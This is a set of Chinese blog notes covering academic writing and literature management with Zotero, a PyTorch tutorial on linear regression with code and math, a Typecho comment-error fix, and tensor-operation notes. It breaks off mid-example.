前言该章节标题：「研究、研究者与读者」，提出了一个比较重要的观点是，写作时应该提前考虑好读者的因素。本章节主要阐述了作为一名研究者在进行写作之前，应该预先设想好阅读者的角色。我们进行写作本质上就是与人进行一次交流，但是这种交流是静态的，非互动性的，所以我们应该提前预设好读者的角色、想好读者期待我做什么，在写作过程中不轻易更改。建立与读者的联系谁会阅读你的文章？专业人员有一定基础的读者对该领域知之甚少的人他们期待我做什么？娱乐他们告诉他们一个事实帮助他们更好地理解帮助他们解决一个具体的问题我可以认为他们已经知道多少？他们对我的话题了解多少？问题是他们已经认识到的吗？是他们已经存在，但尚未意识到的吗？问题会不会不是他们的，而是我的？他们会认真对待这个问题，还是我必须说服他们这很重要？读者会如何回应我主张的解决方案/答案？这会与他们所持观点相矛盾吗？他们会针对我提出的解决方案/答案提出标准论据吗？他们是否希望看到引导我找到问题解决方案的步骤
B 站视频笔记，原视频链接：https://www.bilibili.com/video/BV1Tr4y1H7hY何为优雅不需要关注公众号、集赞、浏览广告优先开源软件功能完善，运行稳定，可定制程度高（类比 Notion）数据安全性、可靠性、可转移性高支持多平台联动文献来源面对新领域，如何挖掘文献找大牛定位其发表的高被引、重要文献按时间排序，重点关注其独立研究后的研究方向总结、思考其研究方向与发展历程找综述中文：综述、研究进展、元分析英文：review、overview、meta analysis重点关注业内大佬写的综述找经典核心期刊、高引用、导师推荐优秀论文的参考文献（尤其是专著部分）找最新RSS 订阅最新核心期刊：Feedbro 浏览器插件Researcher APPresearchgate中文文献经典渠道：知网、维普、万方（需要付费）国家着学社会科学文献中心（完全免费但文献较少）全国图书馆参考联盟国自然科学基金（https://kd.nsfc.gov.cn/resultlnit）外文文献https://www.scidown.cn/谷歌学术web of scienceProQuest：国外硕博论文文献翻译工具Copytranslator沙拉查词搜狗翻译：限制 10MB，保留格式翻译仅是辅助，希望尽快放弃此类软件，使用人脑翻译。文献管理核心需求标签功能、全文检索功能笔记、摘录、备注、阅读辅助、写作辅助云备份、云同步、多平台自动生成引用格式文献管理软件：Zetero优点开源，免费可安装插件可使用第三方网盘来存储数据支持多平台标注可导出到 PDF缺点无安卓应用中文引用可能会出现 bug，注意检查tipshttps://www.zetero.org/需要注册账号Zotero 使用技巧云同步使用坚果云，设置教程：https://zhuanlan.zhihu.com/p/31453719插件推荐zotfilehttp://zotfile.com可根据题录设定规则为 PDF 重命名，以及转移 PDFjasminum中文文献必备插件(茉莉花插件)https://github.com/l0o0/jasminum利用知网等文库数据，为中文论文添加题录信息为 PDF 格式硕博论文添加目录重点功能推荐文献题录自动识别功能文件整合功能，所有类型文件都可以作为论文附件进行同步：例如思维导图，excel 制作文献矩阵标签功能关联文献总结无论用哪种工具，最重要是解决你的问题工具不重要，重要的是形成文献管理的观念只要用着顺手，就是好工具我的博客即将同步至腾讯云+社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=6zib72l0fn5v
接下来将从零开始实现线性回归整个方法，包括数据流水线、模型、损失函数和小批量随机梯度下降优化器。虽然现代的深度学习框架几乎可以自动化地进行所有这些工作，但从零开始实现可以确保你真正知道自己在做什么。同时，了解更细致的工作原理将方便我们自定义模型、自定义层或自定义损失函数。在这一节中，我们将只使用张量和自动求导。%matplotlib inline import random import torch from d2l import torch as d2l生成数据集为了简单起见，将根据带有噪声的线性模型构造一个人造数据集，我们的任务是使用这个有限样本的数据集来恢复这个模型的参数。我们将使用低维数据，这样可以很容易地将其可视化。在下面的代码中，我们生成一个包含1000个样本的数据集，每个样本包含从标准正态分布中采样的2个特征。我们的合成数据集是一个矩阵$\textbf{X}\in \textbf{R}^{1000 \times 2}$。使用线性模型参数$\textbf{w} = [2, -3.4]^\top$、$b = 4.2$和噪声项$\epsilon$生成数据集及其标签：$$ \textbf{y}= \textbf{X} \textbf{w} + b + \epsilon. $$可以将$\epsilon$视为模型预测和标签时的潜在观测误差，在这里我们认为标准假设成立，即$\epsilon$服从均值为0的正态分布。为了简化问题，将标准差设为0.01，下面的代码生成合成数据集。def synthetic_data(w, b, num_examples): #@save """生成y=Xw+b+噪声""" X = torch.normal(0, 1, (num_examples, len(w))) y = torch.matmul(X, w) + b y += torch.normal(0, 0.01, y.shape) return X, y.reshape((-1, 1))true_w = torch.tensor([2, -3.4]) true_b = 4.2 features, labels = synthetic_data(true_w, true_b, 1000) print('features:', features[0],'\nlabel:', labels[0]) #features: tensor([-0.0575, 0.6582]) #label: tensor([1.8422])画出散点图可以看出两者之间的线性关系d2l.set_figsize() d2l.plt.scatter(features[:, (1)].detach().numpy(), labels.detach().numpy(), 1);读取数据集训练模型时要对数据集进行遍历，每次抽取一小批量样本，并使用它们来更新我们的模型。 由于这个过程是训练机器学习算法的基础，所以有必要定义一个函数， 该函数能打乱数据集中的样本并以小批量方式获取数据。在下面的代码中，定义一个data_iter函数， 该函数接收批量大小、特征矩阵和标签向量作为输入，生成大小为batch_size的小批量。 每个小批量包含一组特征和标签。def data_iter(batch_size, features, labels): num_examples = len(features) indices = list(range(num_examples)) # 这些样本是随机读取的，没有特定的顺序 random.shuffle(indices) for i in range(0, num_examples, batch_size): batch_indices = torch.tensor( indices[i: min(i + batch_size, num_examples)]) yield features[batch_indices], labels[batch_indices]通常，利用GPU并行运算的优势，处理合理大小的“小批量”。 每个样本都可以并行地进行模型计算，且每个样本损失函数的梯度也可以被并行计算。 GPU可以在处理几百个样本时，所花费的时间不比处理一个样本时多太多。直观感受一下小批量运算：读取第一个小批量数据样本并打印。 每个批量的特征维度显示批量大小和输入特征数。 同样的，批量的标签形状与batch_size相等。batch_size = 10 for X, y in data_iter(batch_size, features, labels): print(X, '\n', y) break #tensor([[ 0.9458, -0.0361], # [-1.8607, -1.0405], # [-0.3435, 0.8372], # [-0.1770, -0.0755], # [ 0.1739, 0.0721], # [ 0.2494, -0.1436], # [ 0.1927, -1.2595], # [ 0.7346, -0.0856], # [ 2.4317, 0.8365], # [-0.8829, 0.6800]]) # tensor([[6.2000], # [4.0230], # [0.6624], # [4.1128], # [4.2958], # [5.1983], # [8.8624], # [5.9600], # [6.2192], # [0.1082]])当我们运行迭代时，我们会连续地获得不同的小批量，直至遍历完整个数据集。 上面实现的迭代对于教学来说很好，但它的执行效率很低，可能会在实际问题上陷入麻烦。 例如，它要求我们将所有数据加载到内存中，并执行大量的随机内存访问。 在深度学习框架中实现的内置迭代器效率要高得多， 它可以处理存储在文件中的数据和数据流提供的数据。初始化模型参数w = torch.normal(0, 0.01, size=(2,1), requires_grad=True) b = torch.zeros(1, requires_grad=True)在初始化参数之后，我们的任务是更新这些参数，直到这些参数足够拟合我们的数据。 每次更新都需要计算损失函数关于模型参数的梯度。 有了这个梯度，我们就可以向减小损失的方向更新每个参数。 因为手动计算梯度很枯燥而且容易出错，所以没有人会手动计算梯度。 我们使用自动微分来计算梯度。定义模型接下来，我们必须定义模型，将模型的输入和参数同模型的输出关联起来，回想一下，要计算线性模型的输出，我们只需计算输入特征$\textbf{X}$和模型权重$\textbf{w}$的矩阵-向量乘法后加上偏置$b$。注意，上面的$\textbf{Xw}$是一个向量，而$b$是一个标量。回想一下广播机制：当我们用一个向量加一个标量时，标量会被加到向量的每个分量上。def linreg(X, w, b): #@save """线性回归模型""" return torch.matmul(X, w) + b定义损失函数因为需要计算损失函数的梯度，所以我们应该先定义损失函数。这里使用平方损失函数。在实现中，我们需要将真实值y的形状转换为和预测值y_hat的形状相同。def squared_loss(y_hat, y): #@save """均方损失""" return (y_hat - y.reshape(y_hat.shape)) ** 2 / 2定义优化算法在每一步中，使用从数据集中随机抽取的一个小批量，然后根据参数计算损失的梯度。 接下来，朝着减少损失的方向更新我们的参数。 下面的函数实现小批量随机梯度下降更新。 该函数接受模型参数集合、学习速率和批量大小作为输入。每一步更新的大小由学习速率lr决定。 因为我们计算的损失是一个批量样本的总和，所以我们用批量大小（batch_size） 来规范化步长，这样步长大小就不会取决于我们对批量大小的选择。def sgd(params, lr, batch_size): #@save """小批量随机梯度下降""" with torch.no_grad(): for param in params: param -= lr * param.grad / batch_size param.grad.zero_()训练现在已经准备好了模型训练所有需要的要素，可以实现主要的训练过程部分了。在每次迭代中，我们读取一小批量训练样本，并通过我们的模型来获得一组预测，计算完损失后，开始反向传播，存储每个参数的梯度。最后，调用优化算法sgd来更新模型参数。概括一下，我们将执行以下循环：初始化参数重复以下训练，直到完成计算梯度$\textbf{g} \leftarrow \partial_{(\textbf{w},b)} \frac{1}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} l(\textbf{x}^{(i)}, y^{(i)}, \textbf{w}, b)$更新参数$(\textbf{w}, b) \leftarrow (\textbf{w}, b) - \eta \textbf{g}$在每个迭代周期（epoch）中，我们使用data_iter函数遍历整个数据集，并将训练数据集中所有样本都使用一次（假设样本数能够被批量大小整除）。这里的迭代周期个数num_epochs和学习率lr都是超参数，分别设为3和0.03。lr = 0.03 num_epochs = 3 net = linreg loss = squared_lossfor epoch in range(num_epochs): for X, y in data_iter(batch_size, features, labels): l = loss(net(X, w, b), y) # X和y的小批量损失 # 因为l形状是(batch_size,1)，而不是一个标量。l中的所有元素被加到一起， # 并以此计算关于[w,b]的梯度 l.sum().backward() sgd([w, b], lr, batch_size) # 使用参数的梯度更新参数 with torch.no_grad(): train_l = loss(net(features, w, b), labels) print(f'epoch {epoch + 1}, loss {float(train_l.mean()):f}')因为使用的是自己合成的数据集，所以知道真正的参数是什么。 因此，我们可以通过比较真实参数和通过训练学到的参数来评估训练的成功程度。 事实上，真实参数和通过训练学到的参数确实非常接近。print(f'w的估计误差: {true_w - w.reshape(true_w.shape)}') print(f'b的估计误差: {true_b - b}') #w的估计误差: tensor([-0.0004, -0.0009], grad_fn=<SubBackward0>) #b的估计误差: tensor([0.0013], grad_fn=<RsubBackward1>)注意，我们不应该想当然地认为我们能够完美地求解参数。在机器学习中，我们通常不太关心恢复真正的参数，而更关心如何高度准确预测参数。幸运的是，即使是在复杂的优化问题上，随机梯度下降通常也能找到非常好的解。其中一个原因是，在深度网络中存在许多参数组合能够实现高度精确的预测。Pytorch实现import numpy as np import torch from torch.utils import data from d2l import torch as d2l true_w = torch.tensor([2, -3.4]) true_b = 4.2 features, labels = d2l.synthetic_data(true_w, true_b, 1000)读取数据集可以调用框架中现有的API来读取数据，将features和labels作为API的参数传递，并通过数据迭代器指定batch_size。 此外，布尔值is_train表示是否希望数据迭代器对象在每个迭代周期内打乱数据。def load_array(data_arrays, batch_size, is_train=True): #@save """构造一个PyTorch数据迭代器""" dataset = data.TensorDataset(*data_arrays) return data.DataLoader(dataset, batch_size, shuffle=is_train) batch_size = 10 data_iter = load_array((features, labels), batch_size) next(iter(data_iter))输出如下[tensor([[ 0.1087, -1.3303], [ 1.7520, -0.0943], [-0.7183, -0.9455], [-1.9472, -0.8632], [-1.8407, 0.0059], [-0.0802, 0.3188], [-0.5427, 0.2455], [-0.4107, -0.7009], [-0.6534, -0.9351], [-1.5927, 0.4747]]), tensor([[ 8.9435], [ 8.0224], [ 5.9710], [ 3.2344], [ 0.4935], [ 2.9666], [ 2.2832], [ 5.7591], [ 6.0626], [-0.6023]])]定义模型对于标准深度学习模型，可以使用框架的预定义好的层。这使我们只需关注使用哪些层来构造模型，而不必关注层的实现细节。 我们首先定义一个模型变量net，它是一个Sequential类的实例。 Sequential类将多个层串联在一起。 当给定输入数据时，Sequential实例将数据传入到第一层， 然后将第一层的输出作为第二层的输入，以此类推。 在下面的例子中，我们的模型只包含一个层，因此实际上不需要Sequential。 但是由于以后几乎所有的模型都是多层的，在这里使用Sequential会让你熟悉“标准的流水线”。这一单层被称为全连接层（fully-connected layer）， 因为它的每一个输入都通过矩阵-向量乘法得到它的每个输出。# nn是神经网络的缩写 from torch import nn net = nn.Sequential(nn.Linear(2, 1))初始化模型参数在使用net之前，我们需要初始化模型参数。 如在线性回归模型中的权重和偏置。 深度学习框架通常有预定义的方法来初始化参数。 在这里，我们指定每个权重参数应该从均值为0、标准差为0.01的正态分布中随机采样， 偏置参数将初始化为零。正如我们在构造nn.Linear时指定输入和输出尺寸一样， 现在我们能直接访问参数以设定它们的初始值。 我们通过net[0]选择网络中的第一个图层， 然后使用weight.data和bias.data方法访问参数。 我们还可以使用替换方法normal_和fill_来重写参数值。net[0].weight.data.normal_(0, 0.01) net[0].bias.data.fill_(0)定义损失函数计算均方误差使用的是MSELoss类，也称为平方$L_2$范数。默认情况下，它返回所有样本损失的平均值。loss = nn.MSELoss()定义优化算法小批量随机梯度下降算法是一种优化神经网络的标准工具， PyTorch在optim模块中实现了该算法的许多变种。 当我们(实例化一个SGD实例)时，我们要指定优化的参数 （可通过net.parameters()从我们的模型中获得）以及优化算法所需的超参数字典。 小批量随机梯度下降只需要设置lr值，这里设置为0.03。trainer = torch.optim.SGD(net.parameters(), lr=0.03)训练通过深度学习框架的高级API来实现我们的模型只需要相对较少的代码。我们不必单独分配参数、不必定义我们的损失函数，也不必手动实现小批量随机梯度下降。当我们需要更复杂的模型时，高级API的优势将大大增加。当我们有了所有的基本组件，训练过程代码与我们从零开始实现时所做的非常相似。回顾一下：在每个迭代周期里，我们将完整遍历一次数据集（train_data），不停地从中获取一个小批量的输入和相应的标签。对于每一个小批量，我们会进行以下步骤:通过调用net(X)生成预测并计算损失l（前向传播）。通过进行反向传播来计算梯度。通过调用优化器来更新模型参数。为了更好的衡量训练效果，我们计算每个迭代周期后的损失，并打印它来监控训练过程。num_epochs = 3 for epoch in range(num_epochs): for X, y in data_iter: l = loss(net(X) ,y) trainer.zero_grad() l.backward() trainer.step() l = loss(net(features), labels) print(f'epoch {epoch + 1}, loss {l:f}') #epoch 1, loss 0.000221 #epoch 2, loss 0.000105 #epoch 3, loss 0.000105 w = net[0].weight.data print('w的估计误差：', true_w - w.reshape(true_w.shape)) b = net[0].bias.data print('b的估计误差：', true_b - b) #w的估计误差： tensor([1.6689e-06, 1.5545e-04]) #b的估计误差： tensor([6.9618e-05])
回归（regression）是能为一个或多个自变量与因变量之间关系建模的一类方法。在自然科学和社会科学领域，回归经常用来表示输入和输出之间的关系。在机器学习领域中的大多数任务通常都与预测（prediction）有关。当我们想预测一个数值时，就会涉及到回归问题。常见的例子包括：预测价格（房屋、股票等）、预测住院时间（针对住院病人等）、预测需求（零售销量等）。线性回归的基本元素线性回归（linear regression）可以追溯到19世纪初，它在回归的各种标准工具中最简单而且最流行。线性回归基于几个简单的假设：首先，假设自变量$x$和因变量$y$之间的关系是线性的，即$y$可以表示为$x$中元素的加权和，这里通常允许包含观测值的一些噪声；其次，我们假设任何噪声都比较正常，如噪声遵循正态分布。为了解释线性回归，举一个实际的例子：我们希望根据房屋的面积（平方英尺）和房龄（年）来估算房屋价格（美元）。为了开发一个能预测房价的模型，我们需要收集一个真实的数据集。这个数据集包括了房屋的销售价格、面积和房龄。在机器学习的术语中，该数据集称为训练数据集（training data set）或训练集（training set）。每行数据（比如一次房屋交易相对应的数据）称为样本（sample），也可以称为数据点（data point）或数据样本（data instance）。我们把试图预测的目标（比如预测房屋价格）称为标签（label）或目标（target）。预测所依据的自变量（面积和房龄）称为特征（feature）或协变量（covariate）。通常，我们使用$n$来表示数据集中的样本数，对索引为$i$的样本，其输入表示为$\textbf{x}^{(i)} = [x_1^{(i)}, x_2^{(i)}]^\top$，其对应的标签是$y^{(i)}$。线性模型线性假设是指目标（房屋价格）可以表示为特征（面积和房龄）的加权和，如下面的式子：$$ \textbf{price} = w_{\textbf{area}} \cdot \textbf{area} + w_{\textbf{age}} \cdot \textbf{age} + b. $$其中中的$w_{area}$和$w_{age}$称为权重（weight），权重决定了每个特征对我们预测值的影响，$b$称为偏置（bias）、偏移量（offset）或截距（intercept）。偏置是指当所有特征都取值为0时，预测值应该为多少。即使现实中不会有任何房子的面积是0或房龄正好是0年，我们仍然需要偏置项。如果没有偏置项，我们模型的表达能力将受到限制。严格来说，是输入特征的一个仿射变换（affine transformation）。仿射变换的特点是通过加权和对特征进行线性变换（linear transformation），并通过偏置项来进行平移（translation）。给定一个数据集，我们的目标是寻找模型的权重$\textbf{w}$和偏置$b$，使得根据模型做出的预测大体符合数据里的真实价格。输出的预测值由输入特征通过线性模型的仿射变换决定，仿射变换由所选权重和偏置确定。而在机器学习领域，我们通常使用的是高维数据集，建模时采用线性代数表示法会比较方便。当我们的输入包含$d$个特征时，我们将预测结果$\hat{y}$（通常使用“尖角”符号表示$y$的估计值）表示为：$$ \hat{y} = w_1 x_1 + ... + w_d x_d + b. $$将所有特征放到向量$\textbf{x} \in \mathbb{R}^d$中，并将所有权重放到向量$\textbf{w} \in \mathbb{R}^d$中，我们可以用点积形式来简洁地表达模型：$$ \hat{y} = \textbf{w}^\top \textbf{x} + b. $$向量$\textbf{x}$对应于单个数据样本的特征。用符号表示的矩阵$\textbf{X} \in \mathbb{R}^{n \times d}$可以很方便地引用我们整个数据集的$n$个样本。其中，$\textbf{X}$的每一行是一个样本，每一列是一种特征。对于特征集合$\textbf{X}$，预测值$\hat{\textbf{y}} \in \mathbb{R}^n$可以通过矩阵-向量乘法表示为：${\hat{\textbf{y}}} = \textbf{X} \textbf{w} + b$这个过程中的求和将使用广播机制，给定训练数据特征$\textbf{X}$和对应的已知标签$\textbf{y}$，线性回归的目标是找到一组权重向量$\textbf{w}$和偏置$b$：当给定从$\textbf{X}$的同分布中取样的新样本特征时，这组权重向量和偏置能够使得新样本预测标签的误差尽可能小。虽然我们相信给定$\textbf{x}$预测$y$的最佳模型会是线性的，但我们很难找到一个有$n$个样本的真实数据集，其中对于所有的$1 \leq i \leq n$，$y^{(i)}$完全等于$\textbf{w}^\top \textbf{x}^{(i)}+b$。无论我们使用什么手段来观察特征$\textbf{X}$和标签$\textbf{y}$，都可能会出现少量的观测误差。因此，即使确信特征与标签的潜在关系是线性的，我们也会加入一个噪声项来考虑观测误差带来的影响。在开始寻找最好的模型参数（model parameters）$\textbf{w}$和$b$之前，我们还需要两个东西：一种模型质量的度量方式和一种能够更新模型以提高模型预测质量的方法。损失函数在我们开始考虑如何用模型拟合（fit）数据之前，我们需要确定一个拟合程度的度量。损失函数（loss function）能够量化目标的实际值与预测值之间的差距。通常我们会选择非负数作为损失，且数值越小表示损失越小，完美预测时的损失为0。回归问题中最常用的损失函数是平方误差函数，当样本$i$的预测值为$\hat{y}^{(i)}$，其相应的真实标签为$y^{(i)}$时，平方误差可以定义为以下公式：$$ l^{(i)}(\textbf{w}, b) = \frac{1}{2} \left(\hat{y}^{(i)} - y^{(i)}\right)^2. $$常数$\frac{1}{2}$不会带来本质的差别，但这样在形式上稍微简单一些（因为当我们对损失函数求导后常数系数为1）。由于训练数据集并不受我们控制，所以经验误差只是关于模型参数的函数。为了进一步说明，来看下面的例子。我们为一维情况下的回归问题绘制图像，如图所示。由于平方误差函数中的二次方项，估计值$\hat{y}^{(i)}$和观测值$y^{(i)}$之间较大的差异将导致更大的损失。为了度量模型在整个数据集上的质量，我们需计算在训练集$n$个样本上的损失均值（也等价于求和）。$$ L(\textbf{w}, b) =\frac{1}{n}\sum_{i=1}^n l^{(i)}(\textbf{w}, b) =\frac{1}{n} \sum_{i=1}^n \frac{1}{2}\left(\textbf{w}^\top \textbf{x}^{(i)} + b - y^{(i)}\right)^2. $$在训练模型时，我们希望寻找一组参数（$\textbf{w}^*, b^*$），这组参数能最小化在所有训练样本上的总损失。如下式：$$ \textbf{w}^*, b^* = \operatorname*{argmin}_{\textbf{w}, b}\ L(\textbf{w}, b). $$解析解线性回归刚好是一个很简单的优化问题，与其他大部分模型不同，线性回归的解可以用一个公式简单地表达出来，这类解叫作解析解（analytical solution）。首先，我们将偏置$b$合并到参数$\textbf{w}$中，合并方法是在包含所有参数的矩阵中附加一列。我们的预测问题是最小化$\|\textbf{y} - \textbf{X}\textbf{w}\|^2$。这在损失平面上只有一个临界点，这个临界点对应于整个区域的损失极小点。将损失关于$\textbf{w}$的导数设为0，得到解析解：$$ \textbf{w}^* = (\textbf X^\top \textbf X)^{-1}\textbf X^\top \textbf{y}. $$像线性回归这样的简单问题存在解析解，但并不是所有的问题都存在解析解，解析解可以进行很好的数学分析，但解析解对问题的限制很严格，导致它无法广泛应用在深度学习里。随机梯度下降即使在我们无法得到解析解的情况下，我们仍然可以有效地训练模型，在许多任务上，那些难以优化的模型效果要更好，因此，弄清楚如何训练这些难以优化的模型是非常重要的。梯度下降（gradient descent）的方法几乎可以优化所有深度学习模型，它通过不断地在损失函数递减的方向上更新参数来降低误差。梯度下降最简单的用法是计算损失函数（数据集中所有样本的损失均值）关于模型参数的导数（在这里也可以称为梯度）。但实际中的执行可能会非常慢：因为在每一次更新参数之前，我们必须遍历整个数据集。因此，我们通常会在每次需要计算更新的时候随机抽取一小批样本，这种变体叫做小批量随机梯度下降（minibatch stochastic gradient descent）。在每次迭代中，我们首先随机抽样一个小批量$\textbf{B}$，它是由固定数量的训练样本组成的。然后，我们计算小批量的平均损失关于模型参数的导数（也可以称为梯度）。最后，我们将梯度乘以一个预先确定的正数$\eta$，并从当前参数的值中减掉。用下面的数学公式来表示这一更新过程（$\partial$表示偏导数）：$$ (\textbf{w},b) \leftarrow (\textbf{w},b) - \frac{\eta}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} \partial_{(\textbf{w},b)} l^{(i)}(\textbf{w},b). $$总结一下，算法的步骤如下：（1）初始化模型参数的值，如随机初始化；（2）从数据集中随机抽取小批量样本且在负梯度的方向上更新参数，并不断迭代这一步骤。对于平方损失和仿射变换，我们可以明确地写成如下形式:$$ \begin{aligned} \textbf{w} &\leftarrow \textbf{w} - \frac{\eta}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} \partial_{\textbf{w}} l^{(i)}(\textbf{w}, b) = \textbf{w} - \frac{\eta}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} \textbf{x}^{(i)} \left(\textbf{w}^\top \textbf{x}^{(i)} + b - y^{(i)}\right),\\ b &\leftarrow b - \frac{\eta}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} \partial_b l^{(i)}(\textbf{w}, b) = b - \frac{\eta}{|\mathcal{B}|} \sum_{i \in \mathcal{B}} \left(\textbf{w}^\top \textbf{x}^{(i)} + b - y^{(i)}\right). \end{aligned} $$公式中的$\textbf{w}$和$\textbf{x}$都是向量。在这里，更优雅的向量表示法比系数表示法（如$w_1, w_2, \ldots, w_d$）更具可读性。$|\mathcal{B}|$表示每个小批量中的样本数，这也称为批量大小（batch size）。$\eta$表示学习率（learning rate）。批量大小和学习率的值通常是手动预先指定，而不是通过模型训练得到的。这些可以调整但不在训练过程中更新的参数称为超参数（hyperparameter）。调参（hyperparameter tuning）是选择超参数的过程，超参数通常是我们根据训练迭代结果来调整的，而训练迭代结果是在独立的验证数据集（validation dataset）上评估得到的。在训练了预先确定的若干迭代次数后（或者直到满足某些其他停止条件后），我们记录下模型参数的估计值，表示为$\hat{\textbf{w}}, \hat{b}$。但是，即使我们的函数确实是线性的且无噪声，这些估计值也不会使损失函数真正地达到最小值，因为算法会使得损失向最小值缓慢收敛，但却不能在有限的步数内非常精确地达到最小值。线性回归恰好是一个在整个域中只有一个最小值的学习问题，但是对于像深度神经网络这样复杂的模型来说，损失平面上通常包含多个最小值。深度学习实践者很少会去花费大力气寻找这样一组参数，使得在训练集上的损失达到最小。事实上，更难做到的是找到一组参数，这组参数能够在我们从未见过的数据上实现较低的损失，这一挑战被称为泛化（generalization）。矢量化加速为了说明矢量化为什么如此重要，我们考虑(对向量相加的两种方法)。我们实例化两个全为1的10000维向量。在一种方法中，我们将使用Python的for循环遍历向量；在另一种方法中，我们将依赖对+的调用。%matplotlib inline import math import time import numpy as np import torch from d2l import torch as d2l n = 10000 a = torch.ones(n) b = torch.ones(n)定义一个计时器class Timer: #@save """记录多次运行时间""" def __init__(self): self.times = [] self.start() def start(self): """启动计时器""" self.tik = time.time() def stop(self): """停止计时器并将时间记录在列表中""" self.times.append(time.time() - self.tik) return self.times[-1] def avg(self): """返回平均时间""" return sum(self.times) / len(self.times) def sum(self): """返回时间总和""" return sum(self.times) def cumsum(self): """返回累计时间""" return np.array(self.times).cumsum().tolist()首先，使用for循环，每次执行一位的加法。c = torch.zeros(n) timer = Timer() for i in range(n): c[i] = a[i] + b[i] f'{timer.stop():.5f} sec' #output: 0.09577 sec或者，我们使用重载的+运算符来计算按元素的和timer.start() d = a + b f'{timer.stop():.10f} sec' #output: 0.0009970665 sec结果很明显，第二种方法比第一种方法快得多，矢量化代码通常会带来数量级的加速，另外，我们将更多的数学运算放到库中，而无须自己编写那么多的计算，从而减少了出错的可能性。从线性回归到深度网络到目前为止，我们只谈论了线性模型，尽管神经网络涵盖了更多更为丰富的模型，我们依然可以用描述神经网络的方式来描述线性模型，从而把线性模型看作一个神经网络，首先，我们用“层”符号来重写这个模型。深度学习从业者喜欢绘制图表来可视化模型中正在发生的事情。 在下图，我们将线性回归模型描述为一个神经网络。 需要注意的是，该图只显示连接模式，即只显示每个输入如何连接到输出，隐去了权重和偏置的值。所示的神经网络中，输入为$x_1, \ldots, x_d$，因此输入层中的输入数（或称为特征维度，feature dimensionality）为$d$。网络的输出为$o_1$，因此输出层中的输出数是1。需要注意的是，输入值都是已经给定的，并且只有一个计算神经元。由于模型重点在发生计算的地方，所以通常我们在计算层数时不考虑输入层。也就是说，图中神经网络的层数为1，我们可以将线性回归模型视为仅由单个人工神经元组成的神经网络，或称为单层神经网络。对于线性回归，每个输入都与每个输出（在本例中只有一个输出）相连，我们将这种变换称为全连接层（fully-connected layer）或称为稠密层（dense layer）。
解决Typecho评论时显示「网络错误，检查网络问题」
问题截图如下解决多次定位问题后发现是手机端User Agent字段过长了，解决方法也很简单，将typecho数据库中评论的数据表typecho_comments表的agent字段长度改为1000即可。再测试，手机就可以正常评论了。
这里略去了课程中部分线性代数基础笔记，只记录了自己理解得不够深刻的部分张量算法的基本性质标量、向量、矩阵和任意数量轴的张量（本小节中的“张量”指代数对象）有一些实用的属性。例如，你可能已经从按元素操作的定义中注意到，任何按元素的一元运算都不会改变其操作数的形状。同样，给定具有相同形状的任意两个张量，任何按元素二元运算的结果都将是相同形状的张量。例如，将两个相同形状的矩阵相加，会在这两个矩阵上执行元素加法。A = torch.arange(20, dtype=torch.float32).reshape(5, 4) B = A.clone() # 通过分配新内存，将A的一个副本分配给B A, A + B #(tensor([[ 0., 1., 2., 3.], # [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [12., 13., 14., 15.], # [16., 17., 18., 19.]]), # tensor([[ 0., 2., 4., 6.], # [ 8., 10., 12., 14.], # [16., 18., 20., 22.], # [24., 26., 28., 30.], # [32., 34., 36., 38.]]))具体而言，两个矩阵的按元素乘法称为Hadamard积（Hadamard product）（数学符号$\odot$）。对于矩阵$\textbf{B} \in \textbf{R}^{m \times n}$，其中第$i$行和第$j$列的元素是$b_{ij}$。矩阵$\textbf{A}$和$\textbf{B}$的Hadamard积为：$$ \textbf{A} \odot \textbf{B} = \begin{bmatrix} a_{11} b_{11} & a_{12} b_{12} & \dots & a_{1n} b_{1n} \\ a_{21} b_{21} & a_{22} b_{22} & \dots & a_{2n} b_{2n} \\ \vdots & \vdots & \ddots & \vdots \\ a_{m1} b_{m1} & a_{m2} b_{m2} & \dots & a_{mn} b_{mn} \end{bmatrix}. $$A * B # tensor([[ 0., 1., 4., 9.], # [ 16., 25., 36., 49.], # [ 64., 81., 100., 121.], # [144., 169., 196., 225.], # [256., 289., 324., 361.]])将张量乘以或加上一个标量不会改变张量的形状，其中张量的每个元素都将与标量相加或相乘。a = 2 X = torch.arange(24).reshape(2, 3, 4) a + X, (a * X).shape #(tensor([[[ 2, 3, 4, 5], # [ 6, 7, 8, 9], # [10, 11, 12, 13]], # # [[14, 15, 16, 17], # [18, 19, 20, 21], # [22, 23, 24, 25]]]), # torch.Size([2, 3, 4]))降维我们可以对任意张量进行的一个有用的操作是计算其元素的和。在数学表示法中，我们使用$\sum$符号表示求和。为了表示长度为$d$的向量中元素的总和，可以记为$\sum_{i=1}^dx_i$。在代码中，我们可以调用计算求和的函数：x = torch.arange(4, dtype=torch.float32) x, x.sum() # (tensor([0., 1., 2., 3.]), tensor(6.))我们可以表示任意形状张量的元素和。例如，矩阵$\textbf{A}$中元素的和可以记为$\sum_{i=1}^{m} \sum_{j=1}^{n} a_{ij}$。A.shape, A.sum() # (torch.Size([5, 4]), tensor(190.))默认情况下，调用求和函数会沿所有的轴降低张量的维度，使它变为一个标量。我们还可以指定张量沿哪一个轴来通过求和降低维度。以矩阵为例，为了通过求和所有行的元素来降维（轴0），我们可以在调用函数时指定axis=0。由于输入矩阵沿0轴降维以生成输出向量，因此输入轴0的维数在输出形状中消失。A # tensor([[ 0., 1., 2., 3.], # [ 4., 5., 6., 7.], # [ 8., 9., 10., 11.], # [12., 13., 14., 15.], # [16., 17., 18., 19.]]) A_sum_axis0 = A.sum(axis=0) A_sum_axis0, A_sum_axis0.shape # (tensor([40., 45., 50., 55.]), torch.Size([4]))简单的说，按照第一个维度（轴0、即行）求和，消去了第一个维度。A_sum_axis1 = A.sum(axis=1) A_sum_axis1, A_sum_axis1.shape # (tensor([ 6., 22., 38., 54., 70.]), torch.Size([5]))按照第二个维度（轴1、即列）求和，消去了第二个维度A.sum(axis=[0, 1]) # Same as A.sum() # tensor(190.)同样，计算平均值的函数也可以沿指定轴降低张量的维度。A.mean(axis=0), A.sum(axis=0) / A.shape[0] # (tensor([ 8., 9., 10., 11.]), tensor([ 8., 9., 10., 11.]))非降维求和有时在调用函数来计算总和或均值时保持轴数不变会很有用sum_A = A.sum(axis=1, keepdims=True) sum_A # tensor([[ 6.], # [22.], # [38.], # [54.], # [70.]])由于sum_A在对每行进行求和后仍保持两个轴，我们可以通过广播将A除以sum_A。A #tensor([[ 0., 1., 2., 3.], 